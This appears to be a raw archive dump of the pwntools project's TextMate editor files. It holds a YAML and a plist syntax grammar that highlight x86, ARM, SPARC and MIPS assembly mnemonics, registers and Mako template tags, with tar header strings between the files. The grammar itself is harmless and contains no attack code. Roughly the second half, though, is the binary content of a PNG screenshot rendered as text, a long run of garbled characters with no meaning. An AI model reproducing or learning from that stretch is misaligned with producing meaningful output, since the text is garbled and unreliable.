constant.numeric.literal match: (\b|\s+)\#-?[0-9a-zA-Z_]+\b - comment: Numeric Decimal name: constant.numeric.dec match: (\b|\s+)[0-9]+\b - comment: Label name: entity.name.tag match: ([\w${}]+[:]) - comment: Inline Python name: pwntools.raw.block.python begin: (<%\s) end: (%>) beginCaptures: '1': {name: 'keyword.control'} endCaptures: '1': {name: 'keyword.control'} patterns: - {include: source.python} - comment: Inline Docstring begin: (<%(\S+)>) end: () beginCaptures: '1': {name: 'keyword.control'} endCaptures: '1': {name: 'keyword.control'} patterns: - {include: comment.block} - comment: Mako Tag name: source.mako.tag begin: (<%\w+\s) end: (/>) beginCaptures: '1': {name: 'keyword.control'} endCaptures: '1': {name: 'keyword.control'} patterns: - {include: comment.block} - comment: Mako Substitution name: source.mako.expression begin: (\${) end: (}) beginCaptures: '1': {name: 'keyword.control'} endCaptures: '1': {name: 'keyword.control'} patterns: - {include: source.python} - comment: Mako Comment match: (^##(.*)$) name: comment.line.mako - comment: Mako Directive begin: ^\s*(%)(\s*((endfor)|(endif)|(endwhile)))? end: $ beginCaptures: '1': {name: 'keyword.control'} '2': {name: 'keyword.control'} patterns: - {include: source.python} name: source.doc.python.mako.controlline # begin # ^(#) # beginCaptures # # 1 # # name # keyword.control # # # end # $ # name # source.python.mako.line # patterns # # # include # comment.block # # # # begin # ^\s*(%)(\s*((endfor)|(endif)|(endwhile)))? # beginCaptures # # 1 # # name # keyword.control # # 2 # # name # keyword.control # # # begin # (<%\s) # captures # # 1 # # name # keyword.control # # # end # (%>) # name # source.mako.substitution # patterns # # # include # source.python # # # match: "( # (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?) | # (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))* | # (and|m(rs|sr)|eor|sub|rsb|add|adc|sbc|rsc|tst|teq|cmp|cmn|orr|mov|bic|mvn | # (neg) | # (lsr|lsl|ror|asr) # )s? | # (mul|mla|mull|smlabb) | # (mov(w|t)) | # rev(8|16)? | # (pld|adr|adrl|vswp) # ) Gallopsled-pwntools-3ad86ec/extra/textmate/pwntools.tmLanguage000066400000000000000000000321461507273764500250610ustar00rootroot00000000000000 fileTypes .asm name Pwntools Mako ASM patterns comment x86 instruction match \b(?i)(v)?(aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|bmi|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts(w?)|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|ltr|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pdep|pext|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|vbroadcastss|vbroadcastsd|vbroadcastf128|vmaskmovps|vmaskmovpd|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(n?e|n?z)?|call|j(mp|n?e|n?ge?|n?ae?|le?|be?|n?o|n?z|n?c|n?p|n?b))\b name support.function.mnemonic.x86.all comment ARM instruction match (?x)\b((?i) ( (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?) | (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))* | (mul|mla|mull|smlabb) | (mov(w|t)) | rev(8|16)? | (pld|adr|adrl|vswp) | bkpt )?(?-i))?\b name support.function.mnemonic.arm.arithmetic comment ARM instruction match (?x)\b((?i)( swi|svc|wfi| dmb | clrex | dsb | isb | v(ldr|str|push|pop) | (push|pop) | (st|ld)( p | r(ex|s?(h|b)|d)? | m( (f|e)(d|a) | (d|i)(b|a) )? ) | b(l|x|lx|lr|r)? | (i|e)?ret| b\.(eq|ne|hs|cs|lo|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|nv)+ | (c|t)?bn?z| )+(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))\b name support.function.mnemonic.arm.memory comment ARM instruction match \b((?i)(def(b|w|s)|equ|(include|get)(\s+([a-zA-Z_]+[0-9a-zA-Z_]*|[0-9]+[a-zA-Z_]+[0-9a-zA-Z_]*?)\.s)?)?(?-i))\b name meta.preprocessor.c.include comment ARM instruction match \b((?i)nop(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))?\b name comment.nop begin /\* comment Comment Block end \*/ name comment.block comment Directive match \.(?i)(globl|global|macro|endm|purgem|if|elseif|else|endif|section|text|arm|align|balign|irp|rept|endr|req|unreq|error|short|func|endfunc|hidden|type|fpu|arch|code|altmacro|object_arch|word|int|string)(?-i)\b name keyword.control.directive comment ARM register match \b((?i)\$?([xw][0-9]|[xw]1[0-9]||[xw]2[0-9]|[wx]30|wzr|xzr|wsp|fpsr|fpcr|[rcp]1[0-5]|[rcp][0-9]|a[1-4]|v[1-8]|sl|sb|fp|ip|sp|lr|(c|s)psr(_c)?|pc|[sd]3[0-1]|[sd][12][0-9]|[sd][0-9]|fpsid|fpscr|fpexc|q3[0-1]|q2[0-9]|q1[0-9]|q[0-9]|APSR_nzcv|sy)!?(?-i))?\b name storage.other.register.arm comment x86 register match \b((?i)(al|ah|ax|eax|rax|bl|bh|bx|ebx|rbx|cl|ch|cx|ecx|rcx|dl|dh|dx|edx|rdx|sil|si|esi|rsi|di|di|edi|rdi|bpl|bp|ebp|rbp|sp|esp|rsp|cs|ds|ss|es|fs|gs|ip|eip|rip|flags|eflags|rflags|r8|r9|r10|r11|r12|r13|r14|r15|r8d|r9d|r10d|r11d|r12d|r13d|r14d|r15d|r8w|r9w|r10w|r11w|r12w|r13w|r14w|r15w|r8l|r9l|r10l|r11l|r12l|r13l|r14l|r15l|st0|st1|st2|st3|st4|st5|st6|st7|mm0|mm1|mm2|mm3|mm4|mm5|mm6|mm7|xmm0|xmm1|xmm2|xmm3|xmm4|xmm5|xmm6|xmm7|xmm8|xmm9|xmm10|xmm11|xmm12|xmm13|xmm14|xmm15|xmm16|xmm17|xmm18|xmm19|xmm20|xmm21|xmm22|xmm23|xmm24|xmm25|xmm26|xmm27|xmm28|xmm29|xmm30|xmm31|ymm0|ymm1|ymm2|ymm3|ymm4|ymm5|ymm6|ymm7|ymm8|ymm9|ymm10|ymm11|ymm12|ymm13|ymm14|ymm15|ymm16|ymm17|ymm18|ymm19|ymm20|ymm21|ymm22|ymm23|ymm24|ymm25|ymm26|ymm27|ymm28|ymm29|ymm30|ymm31|zmm0|zmm1|zmm2|zmm3|zmm4|zmm5|zmm6|zmm7|zmm8|zmm9|zmm10|zmm11|zmm12|zmm13|zmm14|zmm15|zmm16|zmm17|zmm18|zmm19|zmm20|zmm21|zmm22|zmm23|zmm24|zmm25|zmm26|zmm27|zmm28|zmm29|zmm30|zmm31|cr0|cr2|cr3|cr4|gdtr|ldtr|idtr|dr0|dr1|dr2|dr3|dr4|dr5|dr6|dr7|msr)!?(?-i))?\b name storage.other.register.x86 comment SPARC register match \b((?i)\$?([gloi][0-9])!?(?-i))?\b name storage.other.register.sparc comment MIPS register match \b((?i)\$?(r[0-3][0-9]|v[0-2]|a[0-4]|t[0-8]|s[0-9]|t([89]|10|k[0-2]))!?(?-i))?\b name storage.other.register.mips comment Numeric Hex match (\b|\s+)(\#)?-?(0x|&amp;)[0-9a-fA-F_]+\b name constant.numeric.hex comment Numeric Literal match (\b|\s+)\#-?[0-9a-zA-Z_]+\b name constant.numeric.literal comment Numeric Decimal match (\b|\s+)[0-9]+\b name constant.numeric.dec comment Label match ([\w${}]+[:]) name entity.name.tag begin (<%\s) beginCaptures 1 name keyword.control comment Inline Python end (%>) endCaptures 1 name keyword.control name pwntools.raw.block.python patterns include source.python begin (<%(\S+)>) beginCaptures 1 name keyword.control comment Inline Docstring end (</%(\2)>) endCaptures 1 name keyword.control patterns include comment.block begin (<%\w+\s) beginCaptures 1 name keyword.control comment Mako Tag end (/>) endCaptures 1 name keyword.control name source.mako.tag patterns include comment.block begin (\${) beginCaptures 1 name keyword.control comment Mako Substitution end (}) endCaptures 1 name keyword.control name source.mako.expression patterns include source.python comment Mako Comment match (^##(.*)$) name comment.line.mako begin ^\s*(%)(\s*((endfor)|(endif)|(endwhile)))? beginCaptures 1 name keyword.control 2 name keyword.control comment Mako Directive end $ name source.doc.python.mako.controlline patterns include source.python scopeName source.pwntools uuid 19bbf78d-4ad8-4385-bb20-5bde8df453bf Gallopsled-pwntools-3ad86ec/extra/textmate/screenshot.png000066400000000000000000001272101507273764500240460ustar00rootroot00000000000000PNG  IHDRV1]sBITOtEXtSoftwaregnome-screenshot> IDATxwxw/:!!rDR$ `<`xzgΆs{}s3c{lL1c`AH $ (ZjuΩ!Zyq_vUuח%MB(Bhb` D!xc\l_)߭B4蘵KH9'OO*ft|/meeo{=r7@?ZqBD)iwԞZr(J*9hf8aq4/K wL#RWΠ$r'JVcJHP~wjfTUN>*|1UO߃hƖmپg]^mL1 y{.~F=!~']T{uA,Ku^r<瓤+?"[DZQB3hnzmutBbO3T>8\s$VGq0^O@V[NǿcK۵r@J]\GOXTnOqPDbIm:L٤@"0ҏ 0(#&xY'?ۍ }t',.5[;?am+ !%$J@{<h =Bi/{}df/GBh%* H3MBwmlCcTUhmGfyKiDkzҾ Q,Gӄ,ufJ\}Mg_zNRHǯxPɛ.5L_8=Jb8zBT,ܲyE 惟xYjٱW_ʯqBܬDuz[T^W;Y`/=)kEO%-!o?qed yaiW,L y;N8@g˚򖤇MhOpެ vXuW9]"`z\9Lg(8;m;Wg?e]ڿ(^ReW-ih#m:%>`{g0G_]yE,4:ӳ'N6.$ʾ8bLZV;%g.$?)'swM n$R 74G_~G]mGmb,bD<,\z-lWXc{ig<*{b7LbrlmNH۶P>7 $cdOs' -X/w(&>wosR | :7;:'߰vv>ϼ8ժ^uD)aPW}rtӲ[븊 c/ZcgE_?z='f,R ܬʤ8:X}`ԇ|dּVbUvn_qmFP$K ' @b J ?=eD|ax\gWCNSE6%_س<=M-Umg*88zU>78;%eL] Bw[űƀ+tn9_ByŇfka֯[0XP|!&_VBI'7\yLeH#vX:ki|z+RZ0&^1 z'n#i'˯(yƅg_[8k[ۡ6z@Lԥ)S۬@!9Uh愓@HWnr|hulQ$x"4gV^QŞk~\Vk<C e=],xo<<tЏCtY[=?C#lV "SʈDOMDBpv;$=tz^~1u- -P/;˰@h!D ak>8Belhi,cj8pZ:%kkvWzl8"W?zk:bBez GԖ喉cCL^|tD*㿟@z~aqqa"\OeM$$,E^ɔSvr?nwsr:c ]0U! IQX⢂yv J@$E$%H_*}(xMj0qf$(\..ٔW@Je:Sy!F^ZS.? pXs[mhҌI(|Jђء9f-wD,]:KI8%{ADͻVv߽{_赶{7w?2q=OwaC]GpxR5,[TQ߰S\1%|,Ucx8"b1EwlU0+_jkW2g<2kdf`N˕ͥ|1pZju[r"ڥ?p-Km^ccikf|D@[šNx;YrR }V?%ӯƓ{ȅ6ݩQ|Ϳ-pw5WU ;z%o 2h]8rqN{wNG{ad4[QrܒƘ\7Twdܷ.TYۨ9ki#(Bha D!^ !P,!PB(Ha D!" R咤e_}[Ħ=j[tڷ^(;Ps:H̭;JZ4nB[Ec;'tѵ+yQB'lUi0yl#?nBS?c /k;rBTd Ya"J wvT4su:1'u}LA0cC>NH s~Jɉ$|M'nygIzD~~7XB8Rם !1^_M' y+seסmRy^dVόv;.X.w/y|Cݒ>XV2&8ףϖ5-I盚?h0MqN5si7@ˑJ./J wo?7k=2)-eXW: ٫Kp$p*ōcn3"y^Z<}E)go?rRR &:)-(6\m?0MqN8>;ZܞxƦ5J1m @H'9.ezKgiYS9gZv/c׶V^n7?RB3,oZy#MA@sbiL 4~R~NϚŤ˵ m&/)KSc2``Hp#DN묞'n!tDw8T|ss[S뽧`./a <)U0)TD V/#5-o.^6+NLQesE-w,0Х+ S%.*?W\p[Nx(YLpssL1K7֝I]S=M'N4[pIsv{'%Lg,mͺ(B`h8TGC' 6X;oƓ{ȅ6ݩ{j8Ϟm}sYɔ8R9Si/LGM((e9B(H,BBY B %!PB(Ha D!" RXB),!@BA K B %!PB(Ha D!" RXB),!@BA K B %!PB(Ha D!" RXB),ϊ qy$:}E!~sTD=#:g.\ycGZvKA7Hmر9SBW0ys <] #-EW~`19ޱفk0,%9.O!틣CDy褴h{2jMSW_'ô;vs nxXE%{ N*Ѿ+' 69hM@ l*D"d\f˸Neq2)՟m9<ԡw;dűfgvn(CS~K?4dnێ`"=99P{$8A$a(+&Hкtu^+ͮ0vvfۭ>^K<5{vv=BBÎ|j#(e,fE_NuQ% Y"꯱3͌+ykF?[.5L_!D r'EO\kayNR+BjTj=9:j-eU\%{{fڐ[6l!ʏ,|k[}ojH&"C4ݛ^1|Es#1ޚrQ^UZ]G0R[Pemy-#@*/˻V:fE[_K|#֗aNV[g !Z4#a$еyFr/]!9{fa>"B{'i!N<XC~wha q.v;ʾPc -NKtWqq6LX)Naٝyٞc$𺮆w+ iR?0o;5ꫳRdp8f1«Ң<3*JX 6#&}t 0 gZt˩KZXM9zg GԖ喉cCLsgvNZ)4!cj8pZ:%kkvWknI$dRơ0>` 4I;#/)%m6?4ye1qotlkTiȜxꮹSGBeG0.J)כ6;[lp\id6;2块;̹i2\~l{7Z燻Gr-Z應*:-9P*,^nOͧUvsPHCxܴr*hVftOG'˽ĖB'l4@(&$cAY6bI#KT^͛U7#KKlS'&HIJ4U:L.A֟|'\lVQ¤Pۦ7X<>o-fʼn)Jl߮פ gƉIC ?bT4NGϚ,y9⶚F3F?UjL@Ҩ]$6U1{4i K=xtWֻG^)JO> =s6__9p߿{wZ IDAT/Z[{dO;C+YD}; ʍGpxR5,[TQ߰x @uޅ)R+xN*62S~RxwI nieM^ٙ#7 d޾[~"^p% ǩ W7\U]ӓ';@쵟S9 3.2Zښu+)Q>Vqs49O:W2tߩ| ֻGo,y_hAs‘3׌'4^،0<Q/޸c4_TOg K%`7ݾZ~j׮eVpyMe?GlRB=7,XdCK*[D! B(PBAK B 5TB!4ΆJVo~ B" U z !~"{ZEuGTks8`+V-ɝO{߿Ok7y^>yHg}ow ̎}tH>JB,gMT?_uzUj脼=Oɡ7 a Uu&IJ3{h\! f+i*Hm9cm̏ԡ'_%DQx}ts%X/(hI­o,h'~N+ggFuh~7!޲VvaQ[gz!J[^G?}/DxYBƺky3c%3ʯi=~c{s[6|[!^ v&s+0wJ8y]<'ϟ4rnno})./oIz8|p&*x %._~tuǓC)^[#Uّc}Jt[ nB7;kq\[3%s[7vx"on8o+ze 6, w!I]Ց玖 z NڕN^IiD(ik1#FG DFq10-!TF枖n:Bkyk6.H$F|uB%ɚ/'(qT;#rV]*^2=\@AK2R<` uUKW*$) K\T0/1&^83NLX.lVQ¤Pۦ7X<>ocٸ|'~9j7v㥣gMOc t'o|Da/G5?\%cԋ7ت`4W8f|hh19:˷6U6f(vp{phOocG@^<,{镻fx/ >#!P¤BA SB)< D!^ B g!" RA{H'ݥ>T3%c'doܖW?0`햂1 ",oC% ;q=9Lo˟y %IiђD6z L]_UL?SclLKbfoܺ/OVOS>eƋPx`YaXx\̓xXϷy,.5[|pgcl ˋڶ>nY0#tƋPgG[)[:'cJ~4%|?JNR@j~VHn| Q nP,L,ek\皇ғV=sZ4fG# ssO6 J/|eBR\y98jv$|K\][!4z,:M_"}}ЁOt|֚Jn̷6WŶ/g$yɨV}p'$J  &F8eBd꒭+<③؂(kOkf[rV#.q?` >E[_K|/>wo?7k=2)-e^+/Yy-;wsEe^p,v|fY02sйّI=9o 蛯d%m luVEKn9]N)+FwxZx~?LW_)sś 4}M` ?.vm9V~ ] Cj!4^ [3C {?F54dNB)xaiW,L y;N8#eoY+p0}Gz_|{9IY sLڅpKϕ5?Q nP,t'zJ5\|jٱW_ʯ<\)BhLY W9! ֔b|rrs-'TMin_qmFP$K '˝~Ng_-]up5^e\W(׏/+9rÎ)go?rR/<[GZ=?~VinvϾ#}~ RPΔsz.W aLTnO)>9gZv/c׶V^n7~ F]qv^GB4QuqUu74=%sw~R\ g7Fz:#5~zWVp0ew};x9C-2.LDk/% MEUKiu 3E2h}r>>] W9A hhiKS/JZN0)팡3tT$Ea F/?rc9?4wi$O>hI_o8sW\p[Nx(YL 3 KSxJΜFJxܸRoe|15GʹW{Lëś[jɓHLx#4q0} 5E!&D D!&# R#\BA K B %!PB(HTȼ_9=Tvv%U|dҼek>BA+w,u< -Խo~Ev>+1̉O#w~XV{H*-||R#B<.(Fڎ'ߠ N-=9ϹFk2R0n`Sm6?ut04pɃq纨 mѓ3Ne!X{Τ'9GU:j$W=8Eolz8A$a(+&Hкtu^7/3JۼRkcV`][G]Մ 2PԐD/G&rK꾬$UuH L!1ly|zIS`mtmk_= ˴/(•Kv.0T&8{br\֛Rah ]T]JK&|{YbBz=,\z-lWXS}A]{~.^.1쮊j7xw]E/>HR}~qTqϔbI&bOImJzuHwi̟d|o'K0ɦ8X0+>O?W%?|"  7ڭ&}zFVP' H폧hE4sJJÆ/Yh·g&f\܋|WHꞿ";|8OBB(+NfCU'c}r뤏C 4mu6F2sd32Kj qOT eXŗN(RH|WnqGY|w ]m9+&~]$,_U(̲x@5{EbOyxk$ 3<QMgbT]=ڝp?+YD};_+E!x#yS:zXWVB5Ц붙#?`mp{Ok_dجY-ֱ8S t}u3AS̒ :Ty,'J^JzZ9+/??3ZGܿJ KbQfJkTߩp# ` N' Y JkGU s &e-+̝3u^k!o})./oIz8|pF[}(a^n}w- -ke/Y%uV=~g$1soWۛot7K|[/=GŋYitgO2Vl ]I4}qũXe(<?9'\󵈳h AGUdsʑF°./~G͞%n>v2^zR֪n9s@D> ÷~VYe.;cX̱kZo5zگ}G9^TiYu_mrڮ^wb/ڶ)žm.W@.>t5[ ~ݺqU?{u& s$A )Jd[iyώogγgh-[a4E1$@0 rNF#tα$v5)!Յ[޺k|mTq֮k:<<8qC^(Jʯ_*y~Gȓrē /KS[r ԃw?S!ۿ: /ܜqJ|湧* o2 'ryy~_ #zȘ oJUQ$9O:0w:9iek~Y!dKɽw^ 8Ʉ4APgTe_W~J-}9{6RBǨ&˳٭|84ܮNf_74wЇ6ŵqT%n^pEKxPw!Ԧ}i= #[rjz=-$-h]\D״P?|q*U"2}l~Zhc(,\g.#vŽγc$/~뷗'|/'r8`} !{N%Ն~]wn}fW\prt:djd/h -w,? wvm ĢIKW(ە1erk9/6l1`IcOXs//_~VF,5]pB!o~"qZ8AeF%= F!Z-u4:X^A"ʴ @PRUwL>=H,"w Kk2$nW)⁳77;HHRm4LZakgSC{$4AR4MRL\ޮ9Jw 5MkvKDSfھ*v771K6vZBtkb/5m+!B~|+v%}ʵRu0RAS^ +$TW0[Y_ >.dj#+Kh8?T KxgҞ?M>c&vdwC(jQq q} Hi51WlEL5rEj?3|;5>U'#Szl hPu/?_yɌ/;Ly-O^\a>?W~C~yJy ^@a&h`X+lO=cwU- ɤn:Z?A/NvSs!x㖟U@=5xG2F"J͝O&z+# |;rCϞ>?o',.If7Zhk>ViSV<\S B!!)BS8"Zp D!Nx ^yc{c$B!<Kul2i/Mv)(]v)nڞhh?"BlLl)/M5<c}[ρ51-wB=)0h!ȰԳ:v6)IމolO×[(0B!xꙢcL['4d2ݨ:팼x2lfُn(stXN!jf@>$4͔,|␹25\w&0mӱ[ lVC4Aa}F!'Bধe1}2>18'ʙ~[S-27`9!W(VG!*5Uj?nC hh^ qV \mDo~X_sL0# ;;;F,!P9yonf<ZIm 4/}0ɻ RC@I\QEIn,CqAmrw,/H++HKPJ80:\l#ɭM]o1AsOy`߱놠pM,q_zl;&[8 [Zώ֒-t Zj3 tI ⤍+eƆ-vqFyekdtLVAalpfט[WCFA U[vۮ]٭3ys`p/HG:̒L~Lo #deL=R]C>Yr~& L Tl2Ֆ~)(]'X^IbJֵSPl09ܴ#|k: Tah_ҙ.ihb#Z|->!Z{،~lPedv6^=m*%'{ۆ, XڇI)ҙ¦{ {dJ[#5APE8?ٻۍN77z&Ͱ 6y%1*1K )ekO.|%5 ɱJ ]QG8Zy yfQ}丠kjJ<:;& [|s~B5{!Tլ,(IPGnl)Eiq rI\;|RB!"#Hg io!go|q٭<H\~XV?S 58\„-ˋdW lA,oHlS4KZ5 p=ze"cjmJ^[nؒP Tm.j="^-!&<%CR}z}>¯P"(Œ ɥ: E{џ}EA+r+2wل!:I#!l^Y%h9u庞)WYl6YX\фWB|"`˨y 5OS͍]|]₲,$%ڼD7̈QDW-0XkP0}cI&(6%AWJuOi)28ihQ!/^.&<?G!\^=kRU$i+7fpAg80l*MDL!68>]'!3rqP| _z\aH0{CH -9|'ۊ6-j95{yq};9wm297%e[HfX l6^pso=BO)8ro\*sfV^z4뱍v /DGԮɗh0tn,:ZG=)p/B=f \{2o_5}bad`rw%w4#p/B=kD(NM!O&<5{"w_<0)< !z"Zp@BF!)!%G hd%o=Y"$yHnE~zMO`+uĈFhkQrSt{N~껯{ˮmӋFj^"O_~=P=,U?@iV93vҜ݇gF9$y6)~5*fA_~Y)I}oK#=㾕fqymx惟;@o5LvW 9ȃ"cwۮZ!?}{ͻc'48;O6펣1TMNBTP!wCq!aH2uo=K,1^4uun a5 4'K/N92&`õm"IUHONEnlDO'$hpSCHbGSՁ^2DS4wru6Cdgo؃RdBxALHw^ qܙofowl Gz~\*Iq|ě0kj>?8yIt'xuxH^uSyfBԍ!//JpO`sLnG1;}}{cENa\-?pr`=(dڣkP Ej~L!NݑUyrg_\8ۮ+6d}U?eG_>>i]/}Mq y9H ?z'ث{lǏoMm' ô˓D|վ̌/S((n5{uy<֮k:<<8qC^-+'?!ÚS|4M֦<0{E<)GN&~UN9QϯBJh߳muwoz;H82۞dg}a-=߁ydV*Cs2Kn y.y \'B H/?P*kG{ ;Q(-_$݃ZlLÄ,nir`M# :g6;8 CʜM#peln3!BVnM2^G#7ƒ@( vPu|t>/~PC>}Ɛ}Cy/.rq^L*H1 uNxO qZy O7帮|er>aQ(F+ #uC|7EFpï,J )%ҹN{W+#w.g /PoMħ1iB~̓tmnqayϴ|[&W@*rEoa{% EEIޙEk7)"bI\˧nқ褺*yk8X󍱘\%!خN@`XƂee=~)Bl$$2s@7(M&OL/e w}">iakνݙ?|5f[Lr.}'B4{bѷo">ft̮LTmM~YaCsT\S u0X :|N(w{la.fHiY 02Ie$m!VQ0sA,1lIE/?,ϗP/2 ,L2 їg=FP}Jf;@YM`ϋS488$$DHk) v «j|cz{('G^f5&%l!/ 2erX$G*7wj~dn?3? ֥iX8ӗO? n8?Vxs.sv3ESչQSdjveĴ@WRv|onǏ 3U .%LEw/xi<(h"iW-eɁηэcX96f /ec lmcSǞ>_Rƅ_͖z9buwM:ηȿS*Uf #kleذjJLն9Y2fڏ\#"?e0'Ԅms7}X&#OlHoE쒃EHm /2ǁDj>!i\GY ta7{ Uqzω oxXhܭzox*y9[xgB'ߝ QZ*j=|8xXRﯞyW3EӟCSR9~~6)V\|OOUfo <5NG&,Q󲃡i/:\P4m#EfI4I1qyv(>H˻u; %"Yl)7v(dohן'?4翝dϿvi iruZQaXѣ()MUKdy[OlsWWL?kn_W{CښQ6g'V=ө55c-_9{s^$e1voJ,YBy;}< -yDbm4FFLe?rMx uBNjhpmb͞" CLzw 9q\F1J$ImzlbCo9!vِ;$B&{_qJ2ɺsx)$MQH I\>=|8Ri%/R ZXp>cR"He׿Ux(>Kw(zڼ8 Q;*YtU̖ uCfedG4~1?a5lVӪTi}Hͨ`=䕬;Q/|jņ$)!H槤NO& }rs^B =dj#+Kh8?3[m4k^N!-K[VH9 ax~7s:!}a`>rǁ%{(>/OMoߦ{\+37zp8nK98L曮ŏ@氮{s1 yj^R6r`^-_efӶ&C̔;S9w=@lbOO?>LnfVO>laVB@J6y ꭉ%z.OO~r|?rSDDRGIe% Lh겄VH }(e޹ 灤(E}acS*`LbKێN_i;ljn &JH*Jrc m=()-N2ೌ5w_ $)MnMmzC9@c7īhkmm|uejgj$k%ASOSs5-}r v^)P!(eJEnNf407w9 5a>='#Fvw4w` ЊN:ffA:&[sR\^U$X9k4 oI$EJI#.PJu]lmL'2#0pI Eb\!j,H7jj¹P8θmRfUOYȒ7bS >`KnkWu,TR3Qݙ RK!캔xA刵/d~KTǥ3T 